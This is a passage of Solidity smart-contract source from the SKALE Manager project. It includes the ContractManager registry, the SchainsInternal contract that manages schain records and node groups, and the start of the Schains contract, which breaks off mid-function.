schainsInternal.getSchainsPartOfNode(schain); load = load + numberOfNodesInSchain * part; } return load; } function _getTotalCapacity() private view returns (uint) { INodes nodes = INodes(contractManager.getContract("Nodes")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); return nodes.getNumberOnlineNodes() * constantsHolder.TOTAL_SPACE_ON_NODE(); } } // SPDX-License-Identifier: AGPL-3.0-only /* ContractManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@skalenetwork/skale-manager-interfaces/IContractManager.sol"; import "./utils/StringUtils.sol"; import "./thirdparty/openzeppelin/InitializableWithGap.sol"; /** * @title ContractManager * @dev Contract contains the actual current mapping from contract IDs * (in the form of human-readable strings) to addresses. */ contract ContractManager is InitializableWithGap, OwnableUpgradeable, IContractManager { using StringUtils for string; using AddressUpgradeable for address; string public constant BOUNTY = "Bounty"; string public constant CONSTANTS_HOLDER = "ConstantsHolder"; string public constant DELEGATION_PERIOD_MANAGER = "DelegationPeriodManager"; string public constant PUNISHER = "Punisher"; string public constant SKALE_TOKEN = "SkaleToken"; string public constant TIME_HELPERS = "TimeHelpers"; string public constant TOKEN_STATE = "TokenState"; string public constant VALIDATOR_SERVICE = "ValidatorService"; // mapping of actual smart contracts addresses mapping (bytes32 => address) public override contracts; function initialize() external override initializer { OwnableUpgradeable.__Ownable_init(); } /** * @dev Allows the Owner to add contract to mapping of contract addresses. * * Emits a {ContractUpgraded} event. * * Requirements: * * - New address is non-zero. * - Contract is not already added. * - Contract address contains code. */ function setContractsAddress( string calldata contractsName, address newContractsAddress ) external override onlyOwner { // check newContractsAddress is not equal to zero require(newContractsAddress != address(0), "New address is equal zero"); // create hash of contractsName bytes32 contractId = keccak256(abi.encodePacked(contractsName)); // check newContractsAddress is not equal the previous contract's address require(contracts[contractId] != newContractsAddress, "Contract is already added"); require(newContractsAddress.isContract(), "Given contract address does not contain code"); // add newContractsAddress to mapping of actual contract addresses contracts[contractId] = newContractsAddress; emit ContractUpgraded(contractsName, newContractsAddress); } /** * @dev Returns contract address. * * Requirements: * * - Contract must exist. */ function getDelegationPeriodManager() external view override returns (address) { return getContract(DELEGATION_PERIOD_MANAGER); } function getBounty() external view override returns (address) { return getContract(BOUNTY); } function getValidatorService() external view override returns (address) { return getContract(VALIDATOR_SERVICE); } function getTimeHelpers() external view override returns (address) { return getContract(TIME_HELPERS); } function getConstantsHolder() external view override returns (address) { return getContract(CONSTANTS_HOLDER); } function getSkaleToken() external view override returns (address) { return getContract(SKALE_TOKEN); } function getTokenState() external view override returns (address) { return getContract(TOKEN_STATE); } function getPunisher() external view override returns (address) { return getContract(PUNISHER); } function getContract(string memory name) public view override returns (address contractAddress) { contractAddress = contracts[keccak256(abi.encodePacked(name))]; if (contractAddress == address(0)) { revert(name.strConcat(" contract has not been found")); } } } // SPDX-License-Identifier: AGPL-3.0-only /* SchainsInternal.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol"; import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol"; import "@skalenetwork/skale-manager-interfaces/ISkaleDKG.sol"; import "@skalenetwork/skale-manager-interfaces/INodes.sol"; import "./Permissions.sol"; import "./ConstantsHolder.sol"; import "./utils/Random.sol"; interface IInitializeNodeAddresses { function initializeSchainAddresses(uint256 start, uint256 finish) external; } /** * @title SchainsInternal * @dev Contract contains all functionality logic to internally manage Schains. */ contract SchainsInternal is Permissions, ISchainsInternal, IInitializeNodeAddresses { using Random for IRandom.RandomGenerator; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; // mapping which contain all schains mapping (bytes32 => Schain) public schains; mapping (bytes32 => bool) public override isSchainActive; mapping (bytes32 => uint[]) public schainsGroups; mapping (bytes32 => mapping (uint => bool)) private _exceptionsForGroups; // mapping shows schains by owner's address mapping (address => bytes32[]) public schainIndexes; // mapping shows schains which Node composed in mapping (uint => bytes32[]) public schainsForNodes; mapping (uint => uint[]) public holesForNodes; mapping (bytes32 => uint[]) public holesForSchains; // array which contain all schains bytes32[] public override schainsAtSystem; uint64 public override numberOfSchains; // total resources that schains occupied uint public sumOfSchainsResources; mapping (bytes32 => bool) public usedSchainNames; mapping (uint => SchainType) public schainTypes; uint public numberOfSchainTypes; // schain hash => node index => index of place // index of place is a number from 1 to max number of slots on node(128) mapping (bytes32 => mapping (uint => uint)) public placeOfSchainOnNode; mapping (uint => bytes32[]) private _nodeToLockedSchains; mapping (bytes32 => uint[]) private _schainToExceptionNodes; EnumerableSetUpgradeable.UintSet private _keysOfSchainTypes; uint public currentGeneration; mapping (bytes32 => EnumerableSetUpgradeable.AddressSet) private _nodeAddressInSchain; bytes32 public constant SCHAIN_TYPE_MANAGER_ROLE = keccak256("SCHAIN_TYPE_MANAGER_ROLE"); bytes32 public constant DEBUGGER_ROLE = keccak256("DEBUGGER_ROLE"); bytes32 public constant GENERATION_MANAGER_ROLE = keccak256("GENERATION_MANAGER_ROLE"); modifier onlySchainTypeManager() { require(hasRole(SCHAIN_TYPE_MANAGER_ROLE, msg.sender), "SCHAIN_TYPE_MANAGER_ROLE is required"); _; } modifier onlyDebugger() { require(hasRole(DEBUGGER_ROLE, msg.sender), "DEBUGGER_ROLE is required"); _; } modifier onlyGenerationManager() { require(hasRole(GENERATION_MANAGER_ROLE, msg.sender), "GENERATION_MANAGER_ROLE is required"); _; } modifier schainExists(bytes32 schainHash) { require(isSchainExist(schainHash), "The schain does not exist"); _; } function initializeSchainAddresses(uint256 start, uint256 finish) external virtual override { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Sender is not authorized"); require(finish > start && finish - start <= 10, "Incorrect input"); INodes nodes = INodes(contractManager.getContract("Nodes")); for (uint256 i = start; i < finish; i++) { uint[] memory group = schainsGroups[schainsAtSystem[i]]; for (uint j = 0; j < group.length; j++) { _addAddressToSchain(schainsAtSystem[i], nodes.getNodeAddress(group[j])); } } } /** * @dev Allows Schain contract to initialize an schain. */ function initializeSchain( string calldata name, address from, address originator, uint lifetime, uint deposit ) external override allow("Schains") { bytes32 schainHash = keccak256(abi.encodePacked(name)); schains[schainHash] = Schain({ name: name, owner: from, indexInOwnerList: schainIndexes[from].length, partOfNode: 0, startDate: block.timestamp, startBlock: block.number, lifetime: lifetime, deposit: deposit, index: numberOfSchains, generation: currentGeneration, originator: originator }); isSchainActive[schainHash] = true; numberOfSchains++; schainIndexes[from].push(schainHash); schainsAtSystem.push(schainHash); usedSchainNames[schainHash] = true; } /** * @dev Allows Schain contract to create a node group for an schain. * * Requirements: * * - Message sender is Schains smart contract * - Schain must exist */ function createGroupForSchain( bytes32 schainHash, uint numberOfNodes, uint8 partOfNode ) external override allow("Schains") schainExists(schainHash) returns (uint[] memory) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); schains[schainHash].partOfNode = partOfNode; if (partOfNode > 0) { sumOfSchainsResources = sumOfSchainsResources + numberOfNodes * constantsHolder.TOTAL_SPACE_ON_NODE() / partOfNode; } return _generateGroup(schainHash, numberOfNodes); } /** * @dev Allows Schains contract to change the Schain lifetime through * an additional SKL token deposit. * * Requirements: * * - Message sender is Schains smart contract * - Schain must exist */ function changeLifetime( bytes32 schainHash, uint lifetime, uint deposit ) external override allow("Schains") schainExists(schainHash) { schains[schainHash].deposit = schains[schainHash].deposit + deposit; schains[schainHash].lifetime = schains[schainHash].lifetime + lifetime; } /** * @dev Allows Schains contract to remove an schain from the network. * Generally schains are not removed from the system; instead they are * simply allowed to expire. * * Requirements: * * - Message sender is Schains smart contract * - Schain must exist */ function removeSchain(bytes32 schainHash, address from) external override allow("Schains") schainExists(schainHash) { isSchainActive[schainHash] = false; uint length = schainIndexes[from].length; uint index = schains[schainHash].indexInOwnerList; if (index != length - 1) { bytes32 lastSchainHash = schainIndexes[from][length - 1]; schains[lastSchainHash].indexInOwnerList = index; schainIndexes[from][index] = lastSchainHash; } schainIndexes[from].pop(); // TODO: // optimize for (uint i = 0; i + 1 < schainsAtSystem.length; i++) { if (schainsAtSystem[i] == schainHash) { schainsAtSystem[i] = schainsAtSystem[schainsAtSystem.length - 1]; break; } } schainsAtSystem.pop(); delete schains[schainHash]; numberOfSchains--; } /** * @dev Allows Schains and SkaleDKG contracts to remove a node from an * schain for node rotation or DKG failure. * * Requirements: * * - Message sender is Schains, SkaleDKG or NodeRotation smart contract * - Schain must exist */ function removeNodeFromSchain( uint nodeIndex, bytes32 schainHash ) external override allowThree("NodeRotation", "SkaleDKG", "Schains") schainExists(schainHash) { uint indexOfNode = _findNode(schainHash, nodeIndex); uint indexOfLastNode = schainsGroups[schainHash].length - 1; if (indexOfNode == indexOfLastNode) { schainsGroups[schainHash].pop(); } else { delete schainsGroups[schainHash][indexOfNode]; if (holesForSchains[schainHash].length > 0 && holesForSchains[schainHash][0] > indexOfNode) { uint hole = holesForSchains[schainHash][0]; holesForSchains[schainHash][0] = indexOfNode; holesForSchains[schainHash].push(hole); } else { holesForSchains[schainHash].push(indexOfNode); } } removeSchainForNode(nodeIndex, placeOfSchainOnNode[schainHash][nodeIndex] - 1); delete placeOfSchainOnNode[schainHash][nodeIndex]; INodes nodes = INodes(contractManager.getContract("Nodes")); require(_removeAddressFromSchain(schainHash, nodes.getNodeAddress(nodeIndex)), "Incorrect node address"); nodes.addSpaceToNode(nodeIndex, schains[schainHash].partOfNode); } /** * @dev Allows Schains contract to delete a group of schains * * Requirements: * * - Message sender is Schains smart contract * - Schain must exist */ function deleteGroup(bytes32 schainHash) external override allow("Schains") schainExists(schainHash) { // delete channel ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG")); delete schainsGroups[schainHash]; skaleDKG.deleteChannel(schainHash); } /** * @dev Allows Schain and NodeRotation contracts to set a Node like * exception for a given schain and nodeIndex. * * Requirements: * * - Message sender is Schains or NodeRotation smart contract * - Schain must exist */ function setException( bytes32 schainHash, uint nodeIndex ) external override allowTwo("Schains", "NodeRotation") schainExists(schainHash) { _setException(schainHash, nodeIndex); } /** * @dev Allows Schains and NodeRotation contracts to add node to an schain * group. * * Requirements: * * - Message sender is Schains or NodeRotation smart contract * - Schain must exist */ function setNodeInGroup( bytes32 schainHash, uint nodeIndex ) external override allowTwo("Schains", "NodeRotation") schainExists(schainHash) { if (holesForSchains[schainHash].length == 0) { schainsGroups[schainHash].push(nodeIndex); } else { schainsGroups[schainHash][holesForSchains[schainHash][0]] = nodeIndex; uint min = type(uint).max; uint index = 0; for (uint i = 1; i < holesForSchains[schainHash].length; i++) { if (min > holesForSchains[schainHash][i]) { min = holesForSchains[schainHash][i]; index = i; } } if (min == type(uint).max) { delete holesForSchains[schainHash]; } else { holesForSchains[schainHash][0] = min; holesForSchains[schainHash][index] = holesForSchains[schainHash][holesForSchains[schainHash].length - 1]; holesForSchains[schainHash].pop(); } } } /** * @dev Allows Schains contract to remove holes for schains * * Requirements: * * - Message sender is Schains smart contract * - Schain must exist */ function removeHolesForSchain(bytes32 schainHash) external override allow("Schains") schainExists(schainHash) { delete holesForSchains[schainHash]; } /** * @dev Allows Admin to add schain type */ function addSchainType(uint8 partOfNode, uint numberOfNodes) external override onlySchainTypeManager { require(_keysOfSchainTypes.add(numberOfSchainTypes + 1), "Schain type is already added"); schainTypes[numberOfSchainTypes + 1].partOfNode = partOfNode; schainTypes[numberOfSchainTypes + 1].numberOfNodes = numberOfNodes; numberOfSchainTypes++; emit SchainTypeAdded(numberOfSchainTypes, partOfNode, numberOfNodes); } /** * @dev Allows Admin to remove schain type */ function removeSchainType(uint typeOfSchain) external override onlySchainTypeManager { require(_keysOfSchainTypes.remove(typeOfSchain), "Schain type is already removed"); delete schainTypes[typeOfSchain].partOfNode; delete schainTypes[typeOfSchain].numberOfNodes; emit SchainTypeRemoved(typeOfSchain); } /** * @dev Allows Admin to set number of schain types */ function setNumberOfSchainTypes(uint newNumberOfSchainTypes) external override onlySchainTypeManager { numberOfSchainTypes = newNumberOfSchainTypes; } function removeNodeFromAllExceptionSchains(uint nodeIndex) external override allow("SkaleManager") { uint len = _nodeToLockedSchains[nodeIndex].length; for (uint i = len; i > 0; i--) { removeNodeFromExceptions(_nodeToLockedSchains[nodeIndex][i - 1], nodeIndex); } } /** * @dev Clear list of nodes that can't be chosen to schain with id {schainHash} */ function removeAllNodesFromSchainExceptions(bytes32 schainHash) external override allow("Schains") { for (uint i = 0; i < _schainToExceptionNodes[schainHash].length; ++i) { removeNodeFromExceptions(schainHash, _schainToExceptionNodes[schainHash][i]); } } /** * @dev Mark all nodes in the schain as invisible * * Requirements: * * - Message sender is NodeRotation or SkaleDKG smart contract * - Schain must exist */ function makeSchainNodesInvisible( bytes32 schainHash ) external override allowTwo("NodeRotation", "SkaleDKG") schainExists(schainHash) { INodes nodes = INodes(contractManager.getContract("Nodes")); for (uint i = 0; i < _schainToExceptionNodes[schainHash].length; i++) { nodes.makeNodeInvisible(_schainToExceptionNodes[schainHash][i]); } } /** * @dev Mark all nodes in the schain as visible * * Requirements: * * - Message sender is NodeRotation or SkaleDKG smart contract * - Schain must exist */ function makeSchainNodesVisible( bytes32 schainHash ) external override allowTwo("NodeRotation", "SkaleDKG") schainExists(schainHash) { _makeSchainNodesVisible(schainHash); } /** * @dev Increments generation for all new schains * * Requirements: * * - Sender must be granted with GENERATION_MANAGER_ROLE */ function newGeneration() external override onlyGenerationManager { currentGeneration += 1; } /** * @dev Returns all Schains in the network. */ function getSchains() external view override returns (bytes32[] memory) { return schainsAtSystem; } /** * @dev Returns all occupied resources on one node for an Schain. * * Requirements: * * - Schain must exist */ function getSchainsPartOfNode(bytes32 schainHash) external view override schainExists(schainHash) returns (uint8) { return schains[schainHash].partOfNode; } /** * @dev Returns number of schains by schain owner. */ function getSchainListSize(address from) external view override returns (uint) { return schainIndexes[from].length; } /** * @dev Returns hashes of schain names by schain owner. */ function getSchainHashesByAddress(address from) external view override returns (bytes32[] memory) { return schainIndexes[from]; } /** * @dev Returns hashes of schain names by schain owner. */ function getSchainIdsByAddress(address from) external view override returns (bytes32[] memory) { return schainIndexes[from]; } /** * @dev Returns hashes of schain names running on a node. */ function getSchainHashesForNode(uint nodeIndex) external view override returns (bytes32[] memory) { return schainsForNodes[nodeIndex]; } /** * @dev Returns hashes of schain names running on a node. */ function getSchainIdsForNode(uint nodeIndex) external view override returns (bytes32[] memory) { return schainsForNodes[nodeIndex]; } /** * @dev Returns the owner of an schain. * * Requirements: * * - Schain must exist */ function getSchainOwner(bytes32 schainHash) external view override schainExists(schainHash) returns (address) { return schains[schainHash].owner; } /** * @dev Returns an originator of the schain. * * Requirements: * * - Schain must exist */ function getSchainOriginator(bytes32 schainHash) external view override schainExists(schainHash) returns (address) { require(schains[schainHash].originator != address(0), "Originator address is not set"); return schains[schainHash].originator; } /** * @dev Checks whether schain name is available. * TODO Need to delete - copy of web3.utils.soliditySha3 */ function isSchainNameAvailable(string calldata name) external view override returns (bool) { bytes32 schainHash = keccak256(abi.encodePacked(name)); return schains[schainHash].owner == address(0) && !usedSchainNames[schainHash] && keccak256(abi.encodePacked(name)) != keccak256(abi.encodePacked("Mainnet")) && bytes(name).length > 0; } /** * @dev Checks whether schain lifetime has expired. * * Requirements: * * - Schain must exist */ function isTimeExpired(bytes32 schainHash) external view override schainExists(schainHash) returns (bool) { return uint(schains[schainHash].startDate) + schains[schainHash].lifetime < block.timestamp; } /** * @dev Checks whether address is owner of schain. * * Requirements: * * - Schain must exist */ function isOwnerAddress( address from, bytes32 schainHash ) external view override schainExists(schainHash) returns (bool) { return schains[schainHash].owner == from; } /** * @dev Returns schain name. * * Requirements: * * - Schain must exist */ function getSchainName(bytes32 schainHash) external view override schainExists(schainHash) returns (string memory) { return schains[schainHash].name; } /** * @dev Returns last active schain of a node. */ function getActiveSchain(uint nodeIndex) external view override returns (bytes32) { for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { return schainsForNodes[nodeIndex][i - 1]; } } return bytes32(0); } /** * @dev Returns active schains of a node. */ function getActiveSchains(uint nodeIndex) external view override returns (bytes32[] memory activeSchains) { uint activeAmount = 0; for (uint i = 0; i < schainsForNodes[nodeIndex].length; i++) { if (schainsForNodes[nodeIndex][i] != bytes32(0)) { activeAmount++; } } uint cursor = 0; activeSchains = new bytes32[](activeAmount); for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { activeSchains[cursor++] = schainsForNodes[nodeIndex][i - 1]; } } } /** * @dev Returns number of nodes in an schain group. * * Requirements: * * - Schain must exist */ function getNumberOfNodesInGroup(bytes32 schainHash) external view override schainExists(schainHash) returns (uint) { return schainsGroups[schainHash].length; } /** * @dev Returns nodes in an schain group. * * Requirements: * * - Schain must exist */ function getNodesInGroup(bytes32 schainHash) external view override schainExists(schainHash) returns (uint[] memory) { return schainsGroups[schainHash]; } /** * @dev Checks whether sender is a node address from a given schain group. * * Requirements: * * - Schain must exist */ function isNodeAddressesInGroup( bytes32 schainHash, address sender ) external view override schainExists(schainHash) returns (bool) { return _nodeAddressInSchain[schainHash].contains(sender); } /** * @dev Returns node index in schain group. * * Requirements: * * - Schain must exist */ function getNodeIndexInGroup( bytes32 schainHash, uint nodeId ) external view override schainExists(schainHash) returns (uint) { for (uint index = 0; index < schainsGroups[schainHash].length; index++) { if (schainsGroups[schainHash][index] == nodeId) { return index; } } return schainsGroups[schainHash].length; } /** * @dev Checks whether there are any nodes with free resources for given * schain. * * Requirements: * * - Schain must exist */ function isAnyFreeNode(bytes32 schainHash) external view override schainExists(schainHash) returns (bool) { INodes nodes = INodes(contractManager.getContract("Nodes")); uint8 space = schains[schainHash].partOfNode; return nodes.countNodesWithFreeSpace(space) > 0; } /** * @dev Returns whether any exceptions exist for node in a schain group. * * Requirements: * * - Schain must exist */ function checkException(bytes32 schainHash, uint nodeIndex) external view override schainExists(schainHash) returns (bool) { return _exceptionsForGroups[schainHash][nodeIndex]; } /** * @dev Checks if the node is in holes for the schain * * Requirements: * * - Schain must exist */ function checkHoleForSchain( bytes32 schainHash, uint indexOfNode ) external view override schainExists(schainHash) returns (bool) { for (uint i = 0; i < holesForSchains[schainHash].length; i++) { if (holesForSchains[schainHash][i] == indexOfNode) { return true; } } return false; } /** * @dev Checks if the node is assigned for the schain * * Requirements: * * - Schain must exist */ function checkSchainOnNode( uint nodeIndex, bytes32 schainHash ) external view override schainExists(schainHash) returns (bool) { return placeOfSchainOnNode[schainHash][nodeIndex] != 0; } function getSchainType(uint typeOfSchain) external view override returns(uint8, uint) { require(_keysOfSchainTypes.contains(typeOfSchain), "Invalid type of schain"); return (schainTypes[typeOfSchain].partOfNode, schainTypes[typeOfSchain].numberOfNodes); } /** * @dev Returns generation of a particular schain * * Requirements: * * - Schain must exist */ function getGeneration(bytes32 schainHash) external view override schainExists(schainHash) returns (uint) { return schains[schainHash].generation; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); numberOfSchains = 0; sumOfSchainsResources = 0; numberOfSchainTypes = 0; } /** * @dev Allows Schains and NodeRotation contracts to add schain to node. * * Requirements: * * - Message sender is Schains or NodeRotation smart contract * - Schain must exist */ function addSchainForNode( INodes nodes, uint nodeIndex, bytes32 schainHash ) public override allowTwo("Schains", "NodeRotation") schainExists(schainHash) { if (holesForNodes[nodeIndex].length == 0) { schainsForNodes[nodeIndex].push(schainHash); placeOfSchainOnNode[schainHash][nodeIndex] = schainsForNodes[nodeIndex].length; } else { uint lastHoleOfNode = holesForNodes[nodeIndex][holesForNodes[nodeIndex].length - 1]; schainsForNodes[nodeIndex][lastHoleOfNode] = schainHash; placeOfSchainOnNode[schainHash][nodeIndex] = lastHoleOfNode + 1; holesForNodes[nodeIndex].pop(); } require(_addAddressToSchain(schainHash, nodes.getNodeAddress(nodeIndex)), "Node address already exist"); } /** * @dev Allows Schains, NodeRotation, and SkaleDKG contracts to remove an * schain from a node. */ function removeSchainForNode(uint nodeIndex, uint schainIndex) public override allowThree("NodeRotation", "SkaleDKG", "Schains") { uint length = schainsForNodes[nodeIndex].length; if (schainIndex == length - 1) { schainsForNodes[nodeIndex].pop(); } else { delete schainsForNodes[nodeIndex][schainIndex]; if (holesForNodes[nodeIndex].length > 0 && holesForNodes[nodeIndex][0] > schainIndex) { uint hole = holesForNodes[nodeIndex][0]; holesForNodes[nodeIndex][0] = schainIndex; holesForNodes[nodeIndex].push(hole); } else { holesForNodes[nodeIndex].push(schainIndex); } } } /** * @dev Allows Schains contract to remove node from exceptions * * Requirements: * * - Message sender is Schains, NodeRotation or SkaleManager smart contract * - Schain must exist */ function removeNodeFromExceptions(bytes32 schainHash, uint nodeIndex) public override allowThree("Schains", "NodeRotation", "SkaleManager") schainExists(schainHash) { _exceptionsForGroups[schainHash][nodeIndex] = false; uint len = _nodeToLockedSchains[nodeIndex].length; for (uint i = len; i > 0; i--) { if (_nodeToLockedSchains[nodeIndex][i - 1] == schainHash) { if (i != len) { _nodeToLockedSchains[nodeIndex][i - 1] = _nodeToLockedSchains[nodeIndex][len - 1]; } _nodeToLockedSchains[nodeIndex].pop(); break; } } len = _schainToExceptionNodes[schainHash].length; for (uint i = len; i > 0; i--) { if (_schainToExceptionNodes[schainHash][i - 1] == nodeIndex) { if (i != len) { _schainToExceptionNodes[schainHash][i - 1] = _schainToExceptionNodes[schainHash][len - 1]; } _schainToExceptionNodes[schainHash].pop(); break; } } } /** * @dev Checks whether schain exists. */ function isSchainExist(bytes32 schainHash) public view override returns (bool) { return bytes(schains[schainHash].name).length != 0; } function _addAddressToSchain(bytes32 schainHash, address nodeAddress) internal virtual returns (bool) { return _nodeAddressInSchain[schainHash].add(nodeAddress); } function _removeAddressFromSchain(bytes32 schainHash, address nodeAddress) internal virtual returns (bool) { return _nodeAddressInSchain[schainHash].remove(nodeAddress); } function _getNodeToLockedSchains() internal view returns (mapping(uint => bytes32[]) storage) { return _nodeToLockedSchains; } function _getSchainToExceptionNodes() internal view returns (mapping(bytes32 => uint[]) storage) { return _schainToExceptionNodes; } /** * @dev Generates schain group using a pseudo-random generator. */ function _generateGroup(bytes32 schainHash, uint numberOfNodes) private returns (uint[] memory nodesInGroup) { INodes nodes = INodes(contractManager.getContract("Nodes")); uint8 space = schains[schainHash].partOfNode; nodesInGroup = new uint[](numberOfNodes); require(nodes.countNodesWithFreeSpace(space) >= nodesInGroup.length, "Not enough nodes to create Schain"); IRandom.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number - 1)), schainHash) ); for (uint i = 0; i < numberOfNodes; i++) { uint node = nodes.getRandomNodeWithFreeSpace(space, randomGenerator); nodesInGroup[i] = node; _setException(schainHash, node); addSchainForNode(nodes, node, schainHash); nodes.makeNodeInvisible(node); require(nodes.removeSpaceFromNode(node, space), "Could not remove space from Node"); } // set generated group schainsGroups[schainHash] = nodesInGroup; _makeSchainNodesVisible(schainHash); } function _setException(bytes32 schainHash, uint nodeIndex) private { _exceptionsForGroups[schainHash][nodeIndex] = true; _nodeToLockedSchains[nodeIndex].push(schainHash); _schainToExceptionNodes[schainHash].push(nodeIndex); } function _makeSchainNodesVisible(bytes32 schainHash) private { INodes nodes = INodes(contractManager.getContract("Nodes")); for (uint i = 0; i < _schainToExceptionNodes[schainHash].length; i++) { nodes.makeNodeVisible(_schainToExceptionNodes[schainHash][i]); } } /** * @dev Returns local index of node in schain group. */ function _findNode(bytes32 schainHash, uint nodeIndex) private view returns (uint) { uint[] memory nodesInGroup = schainsGroups[schainHash]; uint index; for (index = 0; index < nodesInGroup.length; index++) { if (nodesInGroup[index] == nodeIndex) { return index; } } return index; } } // SPDX-License-Identifier: AGPL-3.0-only /* Schains.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@skalenetwork/skale-manager-interfaces/ISchains.sol"; import "@skalenetwork/skale-manager-interfaces/ISkaleVerifier.sol"; import "@skalenetwork/skale-manager-interfaces/ISkaleDKG.sol"; import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol"; import "@skalenetwork/skale-manager-interfaces/IKeyStorage.sol"; import "@skalenetwork/skale-manager-interfaces/INodeRotation.sol"; import "@skalenetwork/skale-manager-interfaces/IWallets.sol"; import "./Permissions.sol"; import "./ConstantsHolder.sol"; import "./utils/FieldOperations.sol"; /** * @title Schains * @dev Contains functions to manage Schains such as Schain creation, * deletion, and rotation. */ contract Schains is Permissions, ISchains { using AddressUpgradeable for address; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.Bytes32Set; struct SchainParameters { uint lifetime; uint8 typeOfSchain; uint16 nonce; string name; address originator; SchainOption[] options; } // schainHash => Set of options hashes mapping (bytes32 => EnumerableSetUpgradeable.Bytes32Set) private _optionsIndex; // schainHash => optionHash => schain option mapping (bytes32 => mapping (bytes32 => SchainOption)) private _options; bytes32 public constant SCHAIN_CREATOR_ROLE = keccak256("SCHAIN_CREATOR_ROLE"); modifier schainExists(ISchainsInternal schainsInternal, bytes32 schainHash) { require(schainsInternal.isSchainExist(schainHash), "The schain does not exist"); _; } /** * @dev Allows SkaleManager contract to create an Schain. * * Emits an {SchainCreated} event. * * Requirements: * * - Schain type is valid. * - There is sufficient deposit to create type of schain. * - If from is a smart contract originator must be specified */ function addSchain(address from, uint deposit, bytes calldata data) external override allow("SkaleManager") { SchainParameters memory schainParameters = abi.decode(data, (SchainParameters)); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder()); uint schainCreationTimeStamp = constantsHolder.schainCreationTimeStamp(); uint minSchainLifetime = constantsHolder.minimalSchainLifetime(); require(block.timestamp >= schainCreationTimeStamp, "It is not a time for creating Schain"); require( schainParameters.lifetime >= minSchainLifetime, "Minimal schain lifetime should be satisfied" ); require( getSchainPrice(schainParameters.typeOfSchain, schainParameters.lifetime) <= deposit, "Not enough money to create Schain"); _addSchain(from, deposit, schainParameters); } /** * @dev Allows the foundation to create an Schain without tokens. * * Emits an {SchainCreated} event. * * Requirements: * * - sender is granted with SCHAIN_CREATOR_ROLE * - Schain type is valid. * - If schain owner is a smart contract schain originator must be specified */ function addSchainByFoundation( uint lifetime, uint8 typeOfSchain, uint16 nonce, string calldata name, address schainOwner, address schainOriginator, SchainOption[] calldata options ) external payable override { require(hasRole(SCHAIN_CREATOR_ROLE, msg.sender), "Sender is not authorized to create schain"); SchainParameters memory schainParameters = SchainParameters({ lifetime: lifetime, typeOfSchain: typeOfSchain, nonce: nonce, name: name, originator: schainOriginator, options: options }); address _schainOwner; if (schainOwner != address(0)) { _schainOwner = schainOwner; } else { _schainOwner = msg.sender; } _addSchain(_schainOwner, 0, schainParameters); bytes32 schainHash = keccak256(abi.encodePacked(name)); IWallets(payable(contractManager.getContract("Wallets"))).rechargeSchainWallet{value: msg.value}(schainHash); } /** * @dev Allows SkaleManager to remove an schain from the network. * Upon removal, the space availability of each node is updated. * * Emits an {SchainDeleted} event. * * Requirements: * * - Executed by schain owner. */ function deleteSchain(address from, string calldata name) external override allow("SkaleManager") { ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal")); bytes32 schainHash = keccak256(abi.encodePacked(name)); require( schainsInternal.isOwnerAddress(from, schainHash), "Message sender is not the owner of the Schain" ); _deleteSchain(name, schainsInternal); } /** * @dev Allows SkaleManager to delete any Schain. * Upon removal, the space availability of each node is updated. * * Emits an {SchainDeleted} event. * * Requirements: * * - Schain exists. */ function deleteSchainByRoot(string calldata name) external override allow("SkaleManager") { _deleteSchain(name, ISchainsInternal(contractManager.getContract("SchainsInternal"))); } /** * @dev Allows SkaleManager contract to restart schain creation by forming a * new schain group. Executed when DKG procedure fails and becomes stuck. * * Emits a {NodeAdded} event. * * Requirements: * * - Previous DKG procedure must have failed. * - DKG failure got stuck because there were no free nodes to rotate in. * - A free node must be released in the network. */ function restartSchainCreation(string calldata name) external override allow("SkaleManager") { INodeRotation nodeRotation = INodeRotation(contractManager.getContract("NodeRotation")); 